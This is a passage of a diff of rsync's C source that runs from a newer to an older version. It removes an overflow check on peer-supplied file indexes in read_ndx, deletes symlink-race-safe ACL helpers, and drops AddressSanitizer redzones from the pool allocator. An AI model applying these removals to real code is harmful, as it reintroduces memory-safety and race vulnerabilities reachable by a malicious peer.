cnt = 8;\n \n@@ -2596,7 +2291,6 @@ int32 read_ndx(int f)\n {\n \tstatic int32 prev_positive = -1, prev_negative = 1;\n \tint32 *prev_ptr, num;\n-\tuint32 unum;\n \tchar b[4];\n \n \tif (protocol_version < 30)\n@@ -2616,20 +2310,11 @@ int32 read_ndx(int f)\n \t\t\tb[3] = CVAL(b, 0) & ~0x80;\n \t\t\tb[0] = b[1];\n \t\t\tread_buf(f, b+1, 2);\n-\t\t\tunum = IVAL(b, 0);\n+\t\t\tnum = IVAL(b, 0);\n \t\t} else\n-\t\t\tunum = (UVAL(b,0)<<8) + UVAL(b,1) + (uint32)*prev_ptr;\n+\t\t\tnum = (UVAL(b,0)<<8) + UVAL(b,1) + *prev_ptr;\n \t} else\n-\t\tunum = UVAL(b, 0) + (uint32)*prev_ptr;\n-\t/* A peer-supplied index that overflows a signed int32 (used unchecked as a\n-\t * file-list index) is a protocol violation -- reject it here rather than\n-\t * relying on every downstream consumer to bounds-check. */\n-\tif (unum > (uint32)MAX_INT32) {\n-\t\trprintf(FERROR, \"Invalid file index: %lu [%s]\\n\",\n-\t\t\t(unsigned long)unum, who_am_i());\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\t}\n-\tnum = (int32)unum;\n+\t\tnum = UVAL(b, 0) + *prev_ptr;\n \t*prev_ptr = num;\n \tif (prev_ptr == &prev_negative)\n \t\tnum = -num;\ndiff --git a/latest-year.h b/latest-year.h\nindex 03f0028..f0f7d52 100644\n--- a/latest-year.h\n+++ b/latest-year.h\n@@ -1 +1 @@\n-#define LATEST_YEAR \"2026\"\n+#define LATEST_YEAR \"2025\"\ndiff --git a/lib/acl.c b/lib/acl.c\ndeleted file mode 100644\nindex 864539e..0000000\n--- a/lib/acl.c\n+++ /dev/null\n@@ -1,456 +0,0 @@\n-/*\n- * POSIX ACL get/set/delete via the generic xattr syscalls.\n- *\n- * POSIX ACLs are stored by the kernel as the \"system.posix_acl_access\" and\n- * \"system.posix_acl_default\" extended attributes, in a fixed little-endian\n- * wire format (see include/acl_ea.h in the acl package).  By serializing that\n- * format ourselves and using fgetxattr/fsetxattr on a held O_NOFOLLOW fd -- or\n- * getxattrat/setxattrat(AT_SYMLINK_NOFOLLOW) on a dirfd+leaf -- we get a\n- * symlink-race-safe ACL primitive that also covers the *default* ACL, which\n- * libacl's fd API (acl_get_fd/acl_set_fd, access-only) cannot.\n- *\n- * This file knows nothing about rsync's globals or its internal ACL form: it\n- * speaks a neutral (tag, perm, id) entry array, which makes it directly\n- * comparable against the system libacl in the t_acl unit test.\n- *\n- * Copyright (C) 2026 Wayne Davison & the rsync project\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License as published by\n- * the Free Software Foundation; either version 3 of the License, or\n- * (at your option) any later version.\n- *\n- * This program is distributed in the hope that it will be useful,\n- * but WITHOUT ANY WARRANTY; without even the implied warranty of\n- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n- * GNU General Public License for more details.\n- *\n- * You should have received a copy of the GNU General Public License along\n- * with this program; if not, visit the http://fsf.org website.\n- */\n-\n-#include \"rsync.h\"\n-#include \"acl.h\"\n-\n-#ifdef SUPPORT_ACL_FD\n-\n-#include <errno.h>\n-#include <stdlib.h>\n-#include <string.h>\n-#include <unistd.h>\n-#include <fcntl.h>\t\t/* AT_SYMLINK_NOFOLLOW */\n-\n-#if defined HAVE_SYS_XATTR_H\n-#include <sys/xattr.h>\n-#elif defined HAVE_ATTR_XATTR_H\n-#include <attr/xattr.h>\n-#endif\n-\n-#ifdef HAVE_XATTRAT_SYSCALLS\n-#include <sys/syscall.h>\n-/* Self-contained copy of the kernel's struct xattr_args (stable ABI: an\n- * 8-byte-aligned u64 pointer, then two u32s).  Defined locally to avoid\n- * pulling <linux/xattr.h>, whose XATTR_* macros clash with <sys/xattr.h>. */\n-struct rsync_xattr_args {\n-\tuint64_t value __attribute__((aligned(8)));\n-\tuint32_t size;\n-\tuint32_t flags;\n-};\n-#endif\n-\n-/* Linux 2.4 didn't have a distinct ENOATTR. */\n-#ifndef ENOATTR\n-#define ENOATTR ENODATA\n-#endif\n-\n-#define ACL_XATTR_ACCESS  \"system.posix_acl_access\"\n-#define ACL_XATTR_DEFAULT \"system.posix_acl_default\"\n-\n-/* On-disk layout: a 4-byte LE version header followed by 8-byte LE entries. */\n-#define ACL_EA_VERSION 0x0002\n-#define ACL_EA_HDR_LEN 4\n-#define ACL_EA_ENT_LEN 8\n-\n-/* === little-endian (de)serialization (host-endianness independent) === */\n-\n-static void put_le16(unsigned char *p, uint16_t v)\n-{\n-\tp[0] = (unsigned char)(v & 0xff);\n-\tp[1] = (unsigned char)((v >> 8) & 0xff);\n-}\n-\n-static void put_le32(unsigned char *p, uint32_t v)\n-{\n-\tp[0] = (unsigned char)(v & 0xff);\n-\tp[1] = (unsigned char)((v >> 8) & 0xff);\n-\tp[2] = (unsigned char)((v >> 16) & 0xff);\n-\tp[3] = (unsigned char)((v >> 24) & 0xff);\n-}\n-\n-static uint16_t get_le16(const unsigned char *p)\n-{\n-\treturn (uint16_t)(p[0] | (p[1] << 8));\n-}\n-\n-static uint32_t get_le32(const unsigned char *p)\n-{\n-\treturn (uint32_t)p[0] | ((uint32_t)p[1] << 8)\n-\t     | ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);\n-}\n-\n-static int is_named_tag(uint16_t tag)\n-{\n-\treturn tag == RACL_USER || tag == RACL_GROUP;\n-}\n-\n-/* Canonical order: tag ascending, then id ascending within a tag.  This is\n- * the order libacl's __acl_reorder_obj_p() produces and what the kernel's\n- * validator expects (USER_OBJ, USER*, GROUP_OBJ, GROUP*, MASK, OTHER). */\n-static int ent_compare(const void *a, const void *b)\n-{\n-\tconst rsync_acl_ent *x = a, *y = b;\n-\tif (x->tag != y->tag)\n-\t\treturn x->tag < y->tag ? -1 : 1;\n-\tif (x->id != y->id)\n-\t\treturn x->id < y->id ? -1 : 1;\n-\treturn 0;\n-}\n-\n-/* Serialize entries into a freshly-malloc'd xattr buffer (canonical order). */\n-static unsigned char *acl_to_xattr(const rsync_acl_ent *ents, int count, size_t *len_out)\n-{\n-\tsize_t len = ACL_EA_HDR_LEN + (size_t)count * ACL_EA_ENT_LEN;\n-\tunsigned char *buf = malloc(len);\n-\trsync_acl_ent *sorted = NULL;\n-\tunsigned char *p;\n-\tint i;\n-\n-\tif (!buf)\n-\t\treturn NULL;\n-\tif (count > 1) {\n-\t\tsorted = malloc((size_t)count * sizeof sorted[0]);\n-\t\tif (!sorted) {\n-\t\t\tfree(buf);\n-\t\t\treturn NULL;\n-\t\t}\n-\t\tmemcpy(sorted, ents, (size_t)count * sizeof sorted[0]);\n-\t\tqsort(sorted, count, sizeof sorted[0], ent_compare);\n-\t\tents = sorted;\n-\t}\n-\n-\tput_le32(buf, ACL_EA_VERSION);\n-\tp = buf + ACL_EA_HDR_LEN;\n-\tfor (i = 0; i < count; i++, p += ACL_EA_ENT_LEN) {\n-\t\tput_le16(p, ents[i].tag);\n-\t\tput_le16(p + 2, ents[i].perm);\n-\t\tput_le32(p + 4, is_named_tag(ents[i].tag) ? ents[i].id : RACL_UNDEFINED_ID);\n-\t}\n-\n-\tif (sorted)\n-\t\tfree(sorted);\n-\t*len_out = len;\n-\treturn buf;\n-}\n-\n-/* Parse an xattr buffer into a malloc'd entry array (canonical order). */\n-static int xattr_to_acl(const unsigned char *buf, size_t len,\n-\t\t\trsync_acl_ent **out, int *count_out)\n-{\n-\trsync_acl_ent *ents;\n-\tconst unsigned char *p;\n-\tint n, i;\n-\n-\tif (len < ACL_EA_HDR_LEN || (len - ACL_EA_HDR_LEN) % ACL_EA_ENT_LEN != 0\n-\t || get_le32(buf) != ACL_EA_VERSION) {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\tn = (int)((len - ACL_EA_HDR_LEN) / ACL_EA_ENT_LEN);\n-\n-\tents = n ? malloc((size_t)n * sizeof ents[0]) : NULL;\n-\tif (n && !ents)\n-\t\treturn -1;\n-\tp = buf + ACL_EA_HDR_LEN;\n-\tfor (i = 0; i < n; i++, p += ACL_EA_ENT_LEN) {\n-\t\tents[i].tag = get_le16(p);\n-\t\tents[i].perm = get_le16(p + 2);\n-\t\tents[i].id = is_named_tag(ents[i].tag) ? get_le32(p + 4) : RACL_UNDEFINED_ID;\n-\t}\n-\tif (n > 1)\n-\t\tqsort(ents, n, sizeof ents[0], ent_compare);\n-\n-\t*out = ents;\n-\t*count_out = n;\n-\treturn 0;\n-}\n-\n-/* === syscall dispatchers (fd-variant vs at-variant) === */\n-\n-/* Pre-6.13 fallback for the dirfd+leaf at-variants: address the leaf as\n- * /proc/self/fd/<dirfd>/<leaf> and use the l*xattr (no-follow-leaf) calls.  The\n- * /proc/self/fd/<dirfd> magic symlink resolves to the pinned parent inode -- a\n- * raced parent symlink cannot redirect it -- and l*xattr does not follow a raced\n- * leaf symlink, so this is race-safe without the Linux 6.13 *xattrat syscalls, as\n- * long as procfs is mounted.  (`leaf` is a single component, <= NAME_MAX.)\n- * Returns 0 and fills `buf`, or -1 with ENAMETOOLONG. */\n-static int proc_fd_leaf_path(char *buf, size_t buflen, int dirfd, const char *leaf)\n-{\n-\tint n = snprintf(buf, buflen, \"/proc/self/fd/%d/%s\", dirfd, leaf);\n-\tif (n < 0 || (size_t)n >= buflen) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\treturn 0;\n-}\n-\n-static ssize_t do_getxattr(int fd, int dirfd, const char *leaf,\n-\t\t\t   const char *name, void *val, size_t size)\n-{\n-\tchar p[MAXPATHLEN];\n-\n-\tif (fd >= 0)\n-\t\treturn fgetxattr(fd, name, val, size);\n-#ifdef HAVE_XATTRAT_SYSCALLS\n-\t{\n-\t\tstruct rsync_xattr_args args;\n-\t\tssize_t ret;\n-\t\targs.value = (uint64_t)(uintptr_t)val;\n-\t\targs.size = (uint32_t)size;\n-\t\targs.flags = 0;\n-\t\tret = syscall(SYS_getxattrat, dirfd, leaf, AT_SYMLINK_NOFOLLOW,\n-\t\t\t      name, &args, sizeof args);\n-\t\tif (ret != -1 || errno != ENOSYS)\n-\t\t\treturn ret;\n-\t\t/* ENOSYS: kernel < 6.13 -- fall through to the /proc compat. */\n-\t}\n-#endif\n-\tif (proc_fd_leaf_path(p, sizeof p, dirfd, leaf) < 0)\n-\t\treturn -1;\n-\treturn lgetxattr(p, name, val, size);\n-}\n-\n-static int do_setxattr(int fd, int dirfd, const char *leaf,\n-\t\t       const char *name, const void *val, size_t size)\n-{\n-\tchar p[MAXPATHLEN];\n-\n-\tif (fd >= 0)\n-\t\treturn fsetxattr(fd, name, val, size, 0);\n-#ifdef HAVE_XATTRAT_SYSCALLS\n-\t{\n-\t\tstruct rsync_xattr_args args;\n-\t\tint ret;\n-\t\targs.value = (uint64_t)(uintptr_t)val;\n-\t\targs.size = (uint32_t)size;\n-\t\targs.flags = 0;\t/* replace */\n-\t\tret = syscall(SYS_setxattrat, dirfd, leaf, AT_SYMLINK_NOFOLLOW,\n-\t\t\t      name, &args, sizeof args);\n-\t\tif (ret != -1 || errno != ENOSYS)\n-\t\t\treturn ret;\n-\t}\n-#endif\n-\tif (proc_fd_leaf_path(p, sizeof p, dirfd, leaf) < 0)\n-\t\treturn -1;\n-\treturn lsetxattr(p, name, val, size, 0);\n-}\n-\n-static int do_removexattr(int fd, int dirfd, const char *leaf, const char *name)\n-{\n-\tchar p[MAXPATHLEN];\n-\n-\tif (fd >= 0)\n-\t\treturn fremovexattr(fd, name);\n-#ifdef HAVE_XATTRAT_SYSCALLS\n-\t{\n-\t\tint ret = syscall(SYS_removexattrat, dirfd, leaf, AT_SYMLINK_NOFOLLOW, name);\n-\t\tif (ret != -1 || errno != ENOSYS)\n-\t\t\treturn ret;\n-\t}\n-#endif\n-\tif (proc_fd_leaf_path(p, sizeof p, dirfd, leaf) < 0)\n-\t\treturn -1;\n-\treturn lremovexattr(p, name);\n-}\n-\n-/* Read the whole named xattr into a malloc'd buffer, growing as needed. */\n-static int read_full_xattr(int fd, int dirfd, const char *leaf,\n-\t\t\t   const char *name, unsigned char **buf_out, size_t *len_out)\n-{\n-\tunsigned char *buf = NULL;\n-\tsize_t size = 0;\n-\tint tries;\n-\n-\tfor (tries = 0; tries < 8; tries++) {\n-\t\tssize_t n = do_getxattr(fd, dirfd, leaf, name, size ? buf : NULL, size);\n-\t\tif (n >= 0) {\n-\t\t\tif (size == 0) {\n-\t\t\t\t/* First call just learned the length. */\n-\t\t\t\tsize = n ? (size_t)n : 1;\n-\t\t\t\tbuf = malloc(size);\n-\t\t\t\tif (!buf)\n-\t\t\t\t\treturn -1;\n-\t\t\t\tcontinue;\n-\t\t\t}\n-\t\t\t*buf_out = buf;\n-\t\t\t*len_out = (size_t)n;\n-\t\t\treturn 0;\n-\t\t}\n-\t\tif (errno == ERANGE) {\t/* grew under us: re-probe the size */\n-\t\t\tif (buf)\n-\t\t\t\tfree(buf);\n-\t\t\tbuf = NULL;\n-\t\t\tsize = 0;\n-\t\t\tcontinue;\n-\t\t}\n-\t\tif (buf)\n-\t\t\tfree(buf);\n-\t\treturn -1;\t/* ENODATA / EOPNOTSUPP / ENOSYS / ... in errno */\n-\t}\n-\tif (buf)\n-\t\tfree(buf);\n-\terrno = ERANGE;\n-\treturn -1;\n-}\n-\n-/* === public API === */\n-\n-static int acl_get_common(int fd, int dirfd, const char *leaf,\n-\t\t\t  int want_default, rsync_acl_ent **entries, int *count)\n-{\n-\tconst char *name = want_default ? ACL_XATTR_DEFAULT : ACL_XATTR_ACCESS;\n-\tunsigned char *buf;\n-\tsize_t len;\n-\tint rc;\n-\n-\t*entries = NULL;\n-\t*count = 0;\n-\n-\tif (read_full_xattr(fd, dirfd, leaf, name, &buf, &len) < 0) {\n-\t\tif (errno == ENODATA || errno == ENOATTR)\n-\t\t\treturn 0;\t/* no explicit ACL present */\n-\t\treturn -1;\t\t/* EOPNOTSUPP / ENOSYS / real error */\n-\t}\n-\n-\trc = xattr_to_acl(buf, len, entries, count);\n-\tfree(buf);\n-\treturn rc;\n-}\n-\n-int xacl_get_fd(int fd, int want_default, rsync_acl_ent **entries, int *count)\n-{\n-\treturn acl_get_common(fd, -1, NULL, want_default, entries, count);\n-}\n-\n-int xacl_get_at(int dirfd, const char *leaf, int want_default,\n-\t\trsync_acl_ent **entries, int *count)\n-{\n-\treturn acl_get_common(-1, dirfd, leaf, want_default, entries, count);\n-}\n-\n-static int acl_set_common(int fd, int dirfd, const char *leaf,\n-\t\t\t  int want_default, const rsync_acl_ent *ents, int count)\n-{\n-\tconst char *name = want_default ? ACL_XATTR_DEFAULT : ACL_XATTR_ACCESS;\n-\tunsigned char *buf;\n-\tsize_t len;\n-\tint rc, save_errno;\n-\n-\tbuf = acl_to_xattr(ents, count, &len);\n-\tif (!buf) {\n-\t\terrno = ENOMEM;\n-\t\treturn -1;\n-\t}\n-\trc = do_setxattr(fd, dirfd, leaf, name, buf, len);\n-\tsave_errno = errno;\n-\tfree(buf);\n-\terrno = save_errno;\n-\treturn rc < 0 ? -1 : 0;\n-}\n-\n-int xacl_set_fd(int fd, int want_default, const rsync_acl_ent *ents, int count)\n-{\n-\treturn acl_set_common(fd, -1, NULL, want_default, ents, count);\n-}\n-\n-int xacl_set_at(int dirfd, const char *leaf, int want_default,\n-\t\tconst rsync_acl_ent *ents, int count)\n-{\n-\treturn acl_set_common(-1, dirfd, leaf, want_default, ents, count);\n-}\n-\n-static int acl_del_default_common(int fd, int dirfd, const char *leaf)\n-{\n-\tif (do_removexattr(fd, dirfd, leaf, ACL_XATTR_DEFAULT) < 0) {\n-\t\tif (errno == ENODATA || errno == ENOATTR)\n-\t\t\treturn 0;\t/* already absent: success, like acl_delete_def_file */\n-\t\treturn -1;\n-\t}\n-\treturn 0;\n-}\n-\n-int xacl_del_default_fd(int fd)\n-{\n-\treturn acl_del_default_common(fd, -1, NULL);\n-}\n-\n-int xacl_del_default_at(int dirfd, const char *leaf)\n-{\n-\treturn acl_del_default_common(-1, dirfd, leaf);\n-}\n-\n-/* True iff /proc/self/fd magic symlinks are usable, so the dirfd+leaf at-variants\n- * work race-safely via the /proc compat on a pre-6.13 kernel. */\n-static int proc_self_fd_usable(void)\n-{\n-\tint open_flags = O_RDONLY | O_CLOEXEC;\n-\tint dfd;\n-\tchar p[64];\n-\tint usable = 0;\n-\n-#ifdef O_DIRECTORY\n-\topen_flags |= O_DIRECTORY;\n-#endif\n-\tdfd = open(\".\", open_flags);\n-\tif (dfd < 0)\n-\t\treturn 0;\n-\tif (snprintf(p, sizeof p, \"/proc/self/fd/%d/.\", dfd) < (int)sizeof p) {\n-\t\t/* The probe attr is absent; the path resolving (any errno but\n-\t\t * ENOENT/ENOTDIR -- e.g. ENODATA/ENOTSUP/EACCES) means procfs gives us\n-\t\t * the magic fd-symlink we need. */\n-\t\terrno = 0;\n-\t\tlgetxattr(p, \"user.rsync_acl_probe\", NULL, 0);\n-\t\tusable = !(errno == ENOENT || errno == ENOTDIR);\n-\t}\n-\tclose(dfd);\n-\treturn usable;\n-}\n-\n-int xacl_at_available(void)\n-{\n-\tstatic int avail = -1;\n-\n-\tif (avail < 0) {\n-#ifdef HAVE_XATTRAT_SYSCALLS\n-\t\t/* Probe the *xattrat syscall directly (not via do_getxattr's /proc\n-\t\t * fallback): any errno other than ENOSYS means it is present (6.13+). */\n-\t\tstruct rsync_xattr_args args;\n-\t\targs.value = 0;\n-\t\targs.size = 0;\n-\t\targs.flags = 0;\n-\t\terrno = 0;\n-\t\tsyscall(SYS_getxattrat, AT_FDCWD, \".\", AT_SYMLINK_NOFOLLOW,\n-\t\t\t\"user.rsync_acl_probe\", &args, sizeof args);\n-\t\tif (errno != ENOSYS) {\n-\t\t\tavail = 1;\n-\t\t\treturn avail;\n-\t\t}\n-#endif\n-\t\t/* No *xattrat syscalls (pre-6.13, or a kernel built without them): the dirfd+leaf ACL ops\n-\t\t * are still race-safe via /proc/self/fd if procfs is mounted, closing\n-\t\t * the parent-symlink-race gap that otherwise forces the path-based set. */\n-\t\tavail = proc_self_fd_usable();\n-\t}\n-\treturn avail;\n-}\n-\n-#endif /* SUPPORT_ACL_FD */\ndiff --git a/lib/acl.h b/lib/acl.h\ndeleted file mode 100644\nindex 46e8992..0000000\n--- a/lib/acl.h\n+++ /dev/null\n@@ -1,74 +0,0 @@\n-/*\n- * POSIX ACL get/set/delete via the generic xattr syscalls, addressing the\n- * kernel \"system.posix_acl_{access,default}\" attributes directly so that the\n- * operation can be confined to a held O_NOFOLLOW fd (fsetxattr) or a\n- * dirfd+leaf with AT_SYMLINK_NOFOLLOW (setxattrat).  This replaces the path-\n- * based libacl acl_*_file() calls on Linux, where those would re-resolve the\n- * path and could be redirected by a parent-component symlink race.\n- *\n- * Copyright (C) 2026 Wayne Davison & the rsync project\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License as published by\n- * the Free Software Foundation; either version 3 of the License, or\n- * (at your option) any later version.\n- *\n- * This program is distributed in the hope that it will be useful,\n- * but WITHOUT ANY WARRANTY; without even the implied warranty of\n- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n- * GNU General Public License for more details.\n- *\n- * You should have received a copy of the GNU General Public License along\n- * with this program; if not, visit the http://fsf.org website.\n- */\n-\n-#ifdef SUPPORT_ACL_FD\n-\n-#include <stdint.h>\n-\n-/* A single logical POSIX ACL entry in host-native form.  The tag values are\n- * the stable kernel ABI numbers (== the libacl ACL_* constants), so they map\n- * straight onto the on-disk e_tag without translation. */\n-typedef struct {\n-\tuint16_t tag;\t/* RACL_USER_OBJ / USER / GROUP_OBJ / GROUP / MASK / OTHER */\n-\tuint16_t perm;\t/* permission bits: read=4, write=2, execute=1 */\n-\tuint32_t id;\t/* uid/gid for USER/GROUP entries; RACL_UNDEFINED_ID otherwise */\n-} rsync_acl_ent;\n-\n-#define RACL_USER_OBJ\t0x01\n-#define RACL_USER\t0x02\n-#define RACL_GROUP_OBJ\t0x04\n-#define RACL_GROUP\t0x08\n-#define RACL_MASK\t0x10\n-#define RACL_OTHER\t0x20\n-\n-#define RACL_UNDEFINED_ID ((uint32_t)-1)\n-\n-/* Read the access (want_default==0) or default (want_default!=0) ACL.\n- *\n- * On success returns 0 and sets *entries to a malloc()ed array of *count\n- * entries (the caller frees it with free(); *entries may be NULL when\n- * *count==0, which means \"no explicit ACL present\" -- e.g. ENODATA).\n- *\n- * On failure returns -1 with errno set.  Callers distinguish:\n- *   ENOTSUP/EOPNOTSUPP - this filesystem has no ACL support (may differ per fs)\n- *   ENOSYS            - the at-variant syscalls are unavailable on this kernel\n- * The fd-variant operates on a held, already-NOFOLLOW-opened descriptor.  The\n- * at-variant resolves leaf relative to dirfd and never follows a leaf symlink. */\n-int xacl_get_fd(int fd, int want_default, rsync_acl_ent **entries, int *count);\n-int xacl_get_at(int dirfd, const char *leaf, int want_default, rsync_acl_ent **entries, int *count);\n-\n-/* Write the given entries as the access/default ACL.  The entries are emitted\n- * in canonical order; the kernel validates them (a malformed set -> EINVAL). */\n-int xacl_set_fd(int fd, int want_default, const rsync_acl_ent *entries, int count);\n-int xacl_set_at(int dirfd, const char *leaf, int want_default, const rsync_acl_ent *entries, int count);\n-\n-/* Delete a directory's default ACL.  A missing default ACL is success. */\n-int xacl_del_default_fd(int fd);\n-int xacl_del_default_at(int dirfd, const char *leaf);\n-\n-/* Cached runtime probe: are the *xattrat syscalls usable on this kernel?\n- * Returns 0 when they are absent (so callers can fall back) or unbuilt. */\n-int xacl_at_available(void);\n-\n-#endif /* SUPPORT_ACL_FD */\ndiff --git a/lib/compat.c b/lib/compat.c\nindex cc50ab1..513d79b 100644\n--- a/lib/compat.c\n+++ b/lib/compat.c\n@@ -173,44 +173,34 @@ char *do_big_num(int64 num, int human_flag, const char *fract)\n \tstatic unsigned int n;\n \tchar *s;\n \tint len, negated;\n-\tuint64_t abs_num;\n \n \tif (human_flag && !number_separator)\n \t\t(void)get_number_separator();\n \n \tn = (n + 1) % (sizeof bufs / sizeof bufs[0]);\n-\tabs_num = num < 0 ? 0 - (uint64_t)num : (uint64_t)num;\n \n \tif (human_flag > 1) {\n-\t\tunsigned int mult = human_flag == 2 ? 1000 : 1024;\n-\n-\t\tchar units[] = \"\\0KMGTPE\";\n-\t\tchar *unit = units;\n-\t\tuint64_t powi = 1;\n-\n-\t\tfor (;;) {\n-\t\t\tif (abs_num / mult < powi)\n-\t\t\t\tbreak;\n-\n-\t\t\tif (unit[1] == '\\0')\n-\t\t\t\tbreak;\n-\n-\t\t\tpowi *= mult;\n-\t\t\t++unit;\n-\t\t}\n-\t\tunit[1] = '\\0';\n-\n-\t\tif (powi > 1) {\n-\t\t\tunsigned int powj = 1, precision = 2;\n-\n-\t\t\tfor (; precision > 0; precision--) {\n-\t\t\t\tpowj *= 10;\n-\t\t\t\tif (abs_num / powi < powj)\n-\t\t\t\t\tbreak;\n+\t\tint mult = human_flag == 2 ? 1000 : 1024;\n+\t\tif (num >= mult || num <= -mult) {\n+\t\t\tdouble dnum = (double)num / mult;\n+\t\t\tchar units;\n+\t\t\tif (num < 0)\n+\t\t\t\tdnum = -dnum;\n+\t\t\tif (dnum < mult)\n+\t\t\t\tunits = 'K';\n+\t\t\telse if ((dnum /= mult) < mult)\n+\t\t\t\tunits = 'M';\n+\t\t\telse if ((dnum /= mult) < mult)\n+\t\t\t\tunits = 'G';\n+\t\t\telse if ((dnum /= mult) < mult)\n+\t\t\t\tunits = 'T';\n+\t\t\telse {\n+\t\t\t\tdnum /= mult;\n+\t\t\t\tunits = 'P';\n \t\t\t}\n-\n-\t\t\tsnprintf(bufs[n], sizeof bufs[0], \"%.*f%s%s\", precision,\n-\t\t\t\t(double) num / powi, unit, *unit && mult == 1024 ? \"i\" : \"\");\n+\t\t\tif (num < 0)\n+\t\t\t\tdnum = -dnum;\n+\t\t\tsnprintf(bufs[n], sizeof bufs[0], \"%.2f%c\", dnum, units);\n \t\t\treturn bufs[n];\n \t\t}\n \t}\ndiff --git a/lib/md5-asm-x86_64.S b/lib/md5-asm-x86_64.S\nindex b8780c4..3737058 100644\n--- a/lib/md5-asm-x86_64.S\n+++ b/lib/md5-asm-x86_64.S\n@@ -34,9 +34,7 @@\n #endif\n \n .text\n-/* .balign = N bytes everywhere; bare .align means 2^N on Mach-O (would ask\n- * for 64KB alignment and trip a macOS linker warning). */\n-.balign 16\n+.align 16\n \n .globl md5_process_asm\n md5_process_asm:\ndiff --git a/lib/md5.c b/lib/md5.c\nindex 1506d07..f36c5ba 100644\n--- a/lib/md5.c\n+++ b/lib/md5.c\n@@ -197,7 +197,7 @@ void md5_update(md_context *ctx, const uchar *input, uint32 length)\n \t\tmemcpy(ctx->buffer + left, input, length);\n }\n \n-static const uchar md5_padding[CSUM_CHUNK] = { 0x80 };\n+static uchar md5_padding[CSUM_CHUNK] = { 0x80 };\n \n void md5_result(md_context *ctx, uchar digest[MD5_DIGEST_LEN])\n {\ndiff --git a/lib/mdfour.c b/lib/mdfour.c\nindex 7df1806..6203658 100644\n--- a/lib/mdfour.c\n+++ b/lib/mdfour.c\n@@ -89,8 +89,8 @@ static void copy64(uint32 *M, const uchar *in)\n \tint i;\n \n \tfor (i = 0; i < MD4_DIGEST_LEN; i++) {\n-\t\tM[i] = ((uint32)in[i*4+3] << 24) | ((uint32)in[i*4+2] << 16)\n-\t\t     | ((uint32)in[i*4+1] << 8)  | ((uint32)in[i*4+0] << 0);\n+\t\tM[i] = (in[i*4+3] << 24) | (in[i*4+2] << 16)\n+\t\t     | (in[i*4+1] << 8)  | (in[i*4+0] << 0);\n \t}\n }\n \ndiff --git a/lib/pool_alloc.c b/lib/pool_alloc.c\nindex b663ab6..b49e3a7 100644\n--- a/lib/pool_alloc.c\n+++ b/lib/pool_alloc.c\n@@ -44,32 +44,6 @@ struct align_test {\n #define PTR_ADD(b,o)\t( (void*) ((char*)(b) + (o)) )\n #define PTR_SUB(b,o)\t( (void*) ((char*)(b) - (o)) )\n \n-/* Under AddressSanitizer, fence each pool_alloc() chunk with a poisoned\n- * redzone just below it (allocations grow downward from the top of an extent).\n- * A bump allocator hands out chunks from one big malloc, so ASan cannot see a\n- * write that underflows one chunk into its neighbour -- e.g. a miscomputed\n- * F_SUM() reaching before a file_struct's extras.  The redzone turns that into\n- * a hard ASan report.  We unpoison a whole extent whenever its space is reused\n- * (reset/reclaim), so legitimate later allocations never trip over old\n- * redzones; ASan unpoisons freed extents itself via free(). */\n-#if defined(__SANITIZE_ADDRESS__)\n-# define POOL_ASAN 1\n-#elif defined(__has_feature)\n-# if __has_feature(address_sanitizer)\n-#  define POOL_ASAN 1\n-# endif\n-#endif\n-\n-#ifdef POOL_ASAN\n-# include <sanitizer/asan_interface.h>\n-# define POOL_REDZONE 16  /* >= the largest pool-relative underflow we guard */\n-# define POOL_POISON(p,n)   ASAN_POISON_MEMORY_REGION((p), (n))\n-# define POOL_UNPOISON(p,n) ASAN_UNPOISON_MEMORY_REGION((p), (n))\n-#else\n-# define POOL_POISON(p,n)   ((void)0)\n-# define POOL_UNPOISON(p,n) ((void)0)\n-#endif\n-\n alloc_pool_t\n pool_create(size_t size, size_t quantum, void (*bomb)(const char*, const char*, int), int flags)\n {\n@@ -191,18 +165,7 @@ pool_alloc(alloc_pool_t p, size_t len, const char *bomb_msg)\n \n \tpool->extents->free -= len;\n \n-\t{\n-\t\tvoid *ret = PTR_ADD(pool->extents->start, pool->extents->free);\n-#ifdef POOL_ASAN\n-\t\tsize_t rz = pool->extents->free < POOL_REDZONE\n-\t\t\t  ? pool->extents->free : POOL_REDZONE;\n-\t\tif (rz) {\n-\t\t\tpool->extents->free -= rz;\n-\t\t\tPOOL_POISON(PTR_ADD(pool->extents->start, pool->extents->free), rz);\n-\t\t}\n-#endif\n-\t\treturn ret;\n-\t}\n+\treturn PTR_ADD(pool->extents->start, pool->extents->free);\n \n   bomb_out:\n \tif (pool->bomb)\n@@ -252,10 +215,6 @@ pool_free(alloc_pool_t p, size_t len, void *addr)\n \tif (!cur)\n \t\treturn;\n \n-\t/* This extent's space may be reused (and POOL_CLEAR may memset it)\n-\t * below, so drop any redzones in it first. */\n-\tPOOL_UNPOISON(cur->start, pool->size);\n-\n \tif (!prev) {\n \t\t/* The \"live\" extent is kept ready for more allocations. */\n \t\tif (cur->free + cur->bound + len >= pool->size) {\n@@ -313,8 +272,6 @@ pool_free_old(alloc_pool_t p, void *addr)\n \tif (!cur)\n \t\treturn;\n \n-\tPOOL_UNPOISON(cur->start, pool->size);\n-\n \tif (addr == PTR_ADD(cur->start, cur->free)) {\n \t\tif (prev) {\n \t\t\tprev->next = NULL;\ndiff --git a/lib/sysacls.c b/lib/sysacls.c\nindex 21ad610..a5abe40 100644\n--- a/lib/sysacls.c\n+++ b/lib/sysacls.c\n@@ -180,26 +180,6 @@ int sys_acl_free_acl(SMB_ACL_T the_acl)\n \treturn acl_free(the_acl);\n }\n \n-#ifdef HAVE_LIBACL_AT\n-/* Dirfd/AT-flag ACL ops via the new libacl,\n- * race-safe on every Linux kernel.  at_flags is AT_SYMLINK_NOFOLLOW (dirfd+leaf)\n- * or AT_EMPTY_PATH (operate on an open fd passed as dirfd, path \"\"). */\n-SMB_ACL_T sys_acl_get_file_at(int dirfd, const char *path_p, int at_flags, SMB_ACL_TYPE_T type)\n-{\n-\treturn acl_get_file_at(dirfd, path_p, at_flags, type);\n-}\n-\n-int sys_acl_set_file_at(int dirfd, const char *path_p, int at_flags, SMB_ACL_TYPE_T type, SMB_ACL_T theacl)\n-{\n-\treturn 